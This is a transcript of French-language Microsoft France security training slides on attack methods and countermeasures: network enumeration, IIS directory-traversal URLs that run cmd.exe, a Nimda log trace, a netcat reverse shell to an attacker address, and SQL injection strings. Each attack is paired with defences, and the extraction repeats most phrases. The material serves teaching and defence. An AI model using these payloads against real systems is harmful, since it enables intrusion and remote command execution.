méthodes dattaque et contre-mesures cyril voisin chef de programme sécurité pascal sauliere...
TRANSCRIPT
Méthodes d’attaque Méthodes d’attaque et contre-mesureset contre-mesuresMéthodes d’attaque Méthodes d’attaque et contre-mesureset contre-mesures
Cyril VoisinCyril VoisinChef de programme sécuritéChef de programme sécurité
Pascal SaulierePascal SauliereConsultant principal sécuritéConsultant principal sécurité
Microsoft FranceMicrosoft France
AvertissementAvertissement
Le but de cette présentation est pédagogique:Le but de cette présentation est pédagogique:Illustrer certaines faiblesses, certaines erreurs Illustrer certaines faiblesses, certaines erreurs courantes en s’appuyant sur des attaques connuescourantes en s’appuyant sur des attaques connues
Et surtout en déduire les moyens de mieux vous Et surtout en déduire les moyens de mieux vous protéger, pour éviter ces types d’attaquesprotéger, pour éviter ces types d’attaques
Important : les attaques faisant intervenir des Important : les attaques faisant intervenir des vulnérabilités ont été choisies pour illustrer les vulnérabilités ont été choisies pour illustrer les propos, et font volontairement appel à des propos, et font volontairement appel à des vulnérabilités connues depuis plusieurs mois vulnérabilités connues depuis plusieurs mois ou années et dont les corrections sont ou années et dont les corrections sont disponibles et largement diffuséesdisponibles et largement diffusées
Rappel : la loi Rappel : la loi sanctionne…sanctionne…
Loi du 5 janvier 1986 relative a la fraude Loi du 5 janvier 1986 relative a la fraude informatique, dite informatique, dite Loi Godefrain Loi Godefrain Articles 323-1 et suivants du Code pénalArticles 323-1 et suivants du Code pénal
323-1 : Le fait d'accéder ou de se maintenir, 323-1 : Le fait d'accéder ou de se maintenir, frauduleusement, dans tout ou partie d'un système de frauduleusement, dans tout ou partie d'un système de traitement automatisé de données est puni d'un an traitement automatisé de données est puni d'un an d'emprisonnement et de 15000 euros d'amende.d'emprisonnement et de 15000 euros d'amende. Lorsqu'il en est résulté soit la suppression ou la Lorsqu'il en est résulté soit la suppression ou la modification de données contenues dans le système, soit une modification de données contenues dans le système, soit une altération du fonctionnement de ce système, la peine est de altération du fonctionnement de ce système, la peine est de deux ans d'emprisonnement et de 30000 euros d'amende. deux ans d'emprisonnement et de 30000 euros d'amende. 323-2 : Le fait d'entraver ou de fausser le fonctionnement 323-2 : Le fait d'entraver ou de fausser le fonctionnement d'un système de traitement automatisé de données est puni d'un système de traitement automatisé de données est puni de trois ans d'emprisonnement et de 45000 euros d'amende.de trois ans d'emprisonnement et de 45000 euros d'amende.323-3 : Le fait d'introduire frauduleusement des données 323-3 : Le fait d'introduire frauduleusement des données dans un système de traitement automatisé ou de supprimer dans un système de traitement automatisé ou de supprimer ou de modifier frauduleusement les données qu'il contient ou de modifier frauduleusement les données qu'il contient est puni de trois ans d'emprisonnement et de 45000 euros est puni de trois ans d'emprisonnement et de 45000 euros d'amende. d'amende.
Démarche théorique…Démarche théorique…
RenseignementRenseignement
ScanningScanning
ÉnumérationÉnumération
PénétrationPénétration
Élévation de privilègeÉlévation de privilège
Accès interactifAccès interactif
NettoyageNettoyage
……dans la pratique :dans la pratique :
Énumérer tout ce que l’on peut Énumérer tout ce que l’on peut (adresses, ports, services, OS, (adresses, ports, services, OS, versions, utilisateurs…)versions, utilisateurs…)
Tester toutes les vulnérabilités Tester toutes les vulnérabilités connuesconnues
Contourner les protections, trouver la Contourner les protections, trouver la petite portepetite porte
Casser les mots de passeCasser les mots de passe
Installer son Installer son rootkitrootkit
Cacher ses tracesCacher ses traces
ScénarioScénarioJean-Kevin fait un stage au service courrier Jean-Kevin fait un stage au service courrier chez PLA S.A. (Pieds de Lunettes chez PLA S.A. (Pieds de Lunettes Astronomiques)…Astronomiques)………Il est mal payé…Il est mal payé………Il a du temps…Il a du temps………Il apporte son PC portable et le branche sur Il apporte son PC portable et le branche sur le réseau.le réseau.
2003 CSI/FBI Computer Crime and Security Survey :2003 CSI/FBI Computer Crime and Security Survey :Les formes d’attaques citées le plus souvent sont les virus Les formes d’attaques citées le plus souvent sont les virus (82%) et les (82%) et les abus par des utilisateurs internes (80%)abus par des utilisateurs internes (80%)
Réseau à découvrirRéseau à découvrir
Ping SweepPing Sweep
Objectif : énumérer les machines qui Objectif : énumérer les machines qui répondent au Ping (ICMP Echo répondent au Ping (ICMP Echo Request)Request)
Outils :Outils :Ping (Windows)Ping (Windows)
Nmap -sP (Fyodor, insecure.org)Nmap -sP (Fyodor, insecure.org)
sl -n (ScanLine, ex-fscan de Foundstone)sl -n (ScanLine, ex-fscan de Foundstone)
……
192.168.11.10
192.168.11.2 192.168.11.3 192.168.11.4
MARS VENUS HALLEY
Adresses et nomsAdresses et noms
Port ScanningPort Scanning
Objectif : énumérer les services Objectif : énumérer les services présents sur une machine (Ports TCP présents sur une machine (Ports TCP et UDP « ouverts »)et UDP « ouverts »)
Outils :Outils :Nmap (insecure.org)Nmap (insecure.org)
sl (Foundstone)sl (Foundstone)
SuperScan (Foundstone)SuperScan (Foundstone)
192.168.11.2 192.168.11.3 192.168.11.4
MARS VENUS HALLEY
DC SMTPHTTPHTTPS
DCSQL
192.168.11.10
ServicesServices
Détermination des Détermination des versionsversions
Versions des OSVersions des OS
Versions des servicesVersions des services
Exemple :Exemple :
Outils :Outils :nc (NetCat : @Stake)nc (NetCat : @Stake)
Nmap -sV -ONmap -sV -O
C:\>nc www.msn.com 80HEAD / HTTP/1.0
HTTP/1.1 403 Access ForbiddenServer: Microsoft-IIS/5.0Date: Thu, 08 Apr 2004 20:55:19 GMTContent-Type: text/htmlContent-Length: 172
192.168.11.2 192.168.11.3 192.168.11.4
MARS VENUS HALLEY
DC IIS DCSQL
192.168.11.10
W2000 W2000 W2000
Version des OSVersion des OS
Énumération NetBIOSÉnumération NetBIOS
Objectifs : machines, domaines, Objectifs : machines, domaines, contrôleurs de domainecontrôleurs de domaine
Outils :Outils :NbtstatNbtstat
NbtscanNbtscan
Name Service Type----------------------------------------CORP-DC <00> UNIQUECORP-DC <20> UNIQUECORP <00> GROUPCORP <1c> GROUPCORP <1b> UNIQUECORP-DC <03> UNIQUECORP <1e> GROUPINet~Services <1c> GROUPIS~CORP-DC <00> UNIQUECORP <1d> UNIQUE??__MSBROWSE__? <01> GROUPADMIN <03> UNIQUE
Contrôleurde domaine
Utilisateur
192.168.11.2 192.168.11.3 192.168.11.4
MARS VENUS HALLEY
DC IIS DCSQL
PLA
192.168.11.10
W2000 W2000 W2000
FINANCE
Contre-mesuresContre-mesures
Bloquer l’accès aux ressources pour Bloquer l’accès aux ressources pour les machines qui n’appartiennent pas les machines qui n’appartiennent pas au domaineau domaine
IPsec avec authentification KerberosIPsec avec authentification Kerberos
Authentification 802.1x sur les switchesAuthentification 802.1x sur les switchesMême principe que réseaux Wi-FiMême principe que réseaux Wi-Fi
Authentification couche 2Authentification couche 2
Sessions anonymesSessions anonymes
Accès anonymes à des ressourcesAccès anonymes à des ressources
net use \\server /user:"" ""net use \\server /user:"" ""
Nombreux outils pour lister :Nombreux outils pour lister :UtilisateursUtilisateurs
GroupesGroupes
Relations d’approbationsRelations d’approbations
Contrôleurs de domaineContrôleurs de domaine
MembresMembres
Stratégies de mots de passeStratégies de mots de passe
Relations d’approbationRelations d’approbation
Système de SSO depuis NT 3.xSystème de SSO depuis NT 3.xSi DomB approuve DomA (DomB Si DomB approuve DomA (DomB DomA), un utilisateur de DomA a accès à DomA), un utilisateur de DomA a accès à des ressources de DomBdes ressources de DomB
Risque du SSO :Risque du SSO :Un compte compromis donne accès à Un compte compromis donne accès à l’ensemble des ressourcesl’ensemble des ressources
Découverte des relations Découverte des relations d’approbation :d’approbation :
nltest /domain_trustsnltest /domain_trusts
DomA DomB
Approbation
Accès auxressources
192.168.11.2 192.168.11.3 192.168.11.4
MARS VENUS HALLEY
DC IIS DCSQL
192.168.11.10
W2000 W2000 W2000
pla.net
finance.local
Approbation
Énumération des utilisateurs Énumération des utilisateurs et groupeset groupes
Informations intéressantes :Informations intéressantes :AdministrateursAdministrateursComptes « temporaires », « de test »Comptes « temporaires », « de test »Comptes de service, applicatifsComptes de service, applicatifsComptes inactifsComptes inactifs
Mots de passe évidents, par défaut, Mots de passe évidents, par défaut, ou en commentaireou en commentaireOutils :Outils :
Nete, Nbtenum, Enum, UserDump, Nete, Nbtenum, Enum, UserDump, UserInfo, DumpSecUserInfo, DumpSec
Contre-mesuresContre-mesuresSessions anonymesSessions anonymes
Stratégies de groupe :Stratégies de groupe :Windows 2000 :Windows 2000 :
Additional restrictions for anonymous Additional restrictions for anonymous connectionsconnections
Windows XP/2003 :Windows XP/2003 :Do not allow anonymous enumeration of SAM Do not allow anonymous enumeration of SAM accountsaccounts
Do not allow anonymous enumeration of SAM Do not allow anonymous enumeration of SAM accounts and sharesaccounts and shares
Let Everyone permissions apply to Let Everyone permissions apply to anonymous usersanonymous users
Base de registreBase de registre
Contre-mesuresContre-mesuresEnumération des utilisateursEnumération des utilisateurs
Politique de gestion des comptesPolitique de gestion des comptesComptes administrateursComptes administrateurs
Politique de mots de passe (longueur, Politique de mots de passe (longueur, complexité, verrouillage)complexité, verrouillage)
Audit des comptes inutilisésAudit des comptes inutilisés
Sans oublier de supprimer les Sans oublier de supprimer les LMhashesLMhashes
Éviter les outils de « crack » de mots de Éviter les outils de « crack » de mots de passepasse
Stratégie de groupe ou registre : Stratégie de groupe ou registre : NoLMhash=1NoLMhash=1
Attaques d’IISAttaques d’IIS
Trouver une vulnérabilitéTrouver une vulnérabilitéDu serveur Web Du serveur Web
De l’application hébergéeDe l’application hébergée
File System traversalFile System traversal
Par défaut (NT4, W2K) :Par défaut (NT4, W2K) :/scripts est exécutable/scripts est exécutable
Correspond à C:\Inetpub\ScriptsCorrespond à C:\Inetpub\Scripts
Windows dans C:\WINNTWindows dans C:\WINNT
Commandes systèmes dans :Commandes systèmes dans :scripts/../../winnt/system32scripts/../../winnt/system32
La séquence ../ est interditeLa séquence ../ est interdite
Des bugs (W2K pré-SP2 et Des bugs (W2K pré-SP2 et pré-SP3) permettaient de pré-SP3) permettaient de contourner le contrôle de ../contourner le contrôle de ../
File System TraversalFile System Traversal
UNICODEUNICODERFC 2279 (codage UTF-8) – décodage après le RFC 2279 (codage UTF-8) – décodage après le contrôle de ‘../’contrôle de ‘../’%c0%af %c0%af ‘/’ ‘/’%c1%9c %c1%9c ‘\’ ‘\’Corrigé dans MS00-057 et W2K SP2Corrigé dans MS00-057 et W2K SP2
Double decode : décodage UTF-8, contrôle, Double decode : décodage UTF-8, contrôle, puis 2puis 2èmeème décodage.. décodage..
%25%252f 2f %%2f 2f ‘/’ ‘/’%25%25%32%32%66%66 %%22ff ‘/’ ‘/’%25%255c 5c %%5c 5c ‘\’ ‘\’Corrigé dans MS01-026 et W2K SP3Corrigé dans MS01-026 et W2K SP3
File System TraversalFile System Traversal
Pré SP2 :Pré SP2 :http://server/scripts/..http://server/scripts/..%c0%af%c0%af../winnt/../winnt/system32/cmd.exe?/c+dirsystem32/cmd.exe?/c+dir
Pré SP3 :Pré SP3 :http://server/scripts/..http://server/scripts/..%255c%255c....%255c%255cwinnt/winnt/system32/cmd.exe?/c+dirsystem32/cmd.exe?/c+dir
Exemples de commandes :Exemples de commandes :cmd.exe /c dircmd.exe /c dir
cmd.exe /c echo xxx >> fichier.aspcmd.exe /c echo xxx >> fichier.asp
Trace de Nimda, sept. Trace de Nimda, sept. 20012001
/scripts/..%255c../winnt/system32/cmd.exe/scripts/..%5c../winnt/system32/cmd.exe/scripts/root.exe/msadc/root.exe/c/winnt/system32/cmd.exe/d/winnt/system32/cmd.exe/_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe/_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe/scripts/winnt/system32/cmd.exe/msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe/scripts/..%c1%1c../winnt/system32/cmd.exe/scripts/..%c0%af../winnt/system32/cmd.exe/scripts/..%252f../winnt/system32/cmd.exe/scripts/..%c1%9c../winnt/system32/cmd.exe
Mise en œuvreMise en œuvre
(1) Création de upload.asp(2) Copie de Netcat (nc.exe)
et cmdasp.asp
(3) Ecoute :nc –l –p 2222
(4) Connexion :nc –e cmd.exe xx.xx.xx.xx
2222
Serveur IIS
Attaquant
Contre mesuresContre mesuresRépertoires web sur un volume séparéRépertoires web sur un volume séparéIIS Lockdown (désactivation IIS Lockdown (désactivation composants inutiles, ACLs) + URLScancomposants inutiles, ACLs) + URLScanApplication des correctifs de sécurité Application des correctifs de sécurité (liste avec MBSA)(liste avec MBSA)Configurer le pare-feu Configurer le pare-feu etet les stratégies les stratégies IPsec pour ne laisser passer que les IPsec pour ne laisser passer que les flux autorisés (source, destination, flux autorisés (source, destination, protocole, port) :protocole, port) :
TCP 1433TCP 80, 443
IIS SQL
Attaque de SQL ServerAttaque de SQL Server
Trouver une vulnérabilité Trouver une vulnérabilité De SQL Server (ex : Slammer)De SQL Server (ex : Slammer)
Des applications utilisant SQL Server Des applications utilisant SQL Server (cross site scripting, injection SQL…)(cross site scripting, injection SQL…)
Trouver un mot de passe Trouver un mot de passe (SQLdict.exe)(SQLdict.exe)
Injection SQLInjection SQL
Non spécifique à IIS, ni à SQL ServerNon spécifique à IIS, ni à SQL ServerPrincipe : Principe :
Requête SQL construite avec une entrée de Requête SQL construite avec une entrée de l’utilisateurl’utilisateurExemple :Exemple :
sqlCommand.CommandText = "sqlCommand.CommandText = "Select title_id, Select title_id, title, price From titles Where title like '%title, price From titles Where title like '%" + " + TextBox1.TextTextBox1.Text + " + "%'%'";";
Select title_id, title, price From titles Where Select title_id, title, price From titles Where title like '%title like '%XXXXXX%'%'
Select title_id, title, price From titles Where Select title_id, title, price From titles Where title like '%title like '%X' Or 1=1--X' Or 1=1--%'%'
Select title_id, title, price From titles Where Select title_id, title, price From titles Where title like '%title like '%X' Union select 'A',name,0 from X' Union select 'A',name,0 from master..sysdatabases--master..sysdatabases--%'%'
Contre mesuresContre mesures
Sécurité intégrée WindowsSécurité intégrée Windows
Mots de passe complexesMots de passe complexes
Qualité du code (procédures Qualité du code (procédures stockées, requêtes paramétrées, stockées, requêtes paramétrées, validation des entrées…)validation des entrées…)
ConclusionsConclusions
Erreur de manipulation de l’administrateurErreur de manipulation de l’administrateurCompte de test non désactivéCompte de test non désactivé
Absence de patchAbsence de patchIIS double decode, révélation de codeIIS double decode, révélation de code(Blaster, Sasser)(Blaster, Sasser)
Erreur de développementErreur de développementBuffer overflowBuffer overflowInjection SQL / utilisation de trop de privilègesInjection SQL / utilisation de trop de privilègesCross-site scriptingCross-site scripting
Config par défaut pas assez sécuriséeConfig par défaut pas assez sécuriséeLMHashLMHashRestrictAnonymousRestrictAnonymous
Ressources disponiblesRessources disponibles
Security Guidance CenterSecurity Guidance Centerhttp://www.microsoft.com/security/guidance/http://www.microsoft.com/security/guidance/
Site Microsoft sur la sécurité (tout public)Site Microsoft sur la sécurité (tout public)http://www.microsoft.com/france/securite/ http://www.microsoft.com/france/securite/
Site MSDN sur la sécurité (développeurs)Site MSDN sur la sécurité (développeurs)http://msdn.microsoft.com/security (en anglais)http://msdn.microsoft.com/security (en anglais)
Site Technet sur la sécurité (informaticiens)Site Technet sur la sécurité (informaticiens)http://www.microsoft.com/france/technet/http://www.microsoft.com/france/technet/themes/secur/default.aspthemes/secur/default.asp
S'inscrire aux bulletins de sécurité :S'inscrire aux bulletins de sécurité :http://www.microsoft.com/security/http://www.microsoft.com/security/security_bulletins/alerts2.asp (en anglais)security_bulletins/alerts2.asp (en anglais)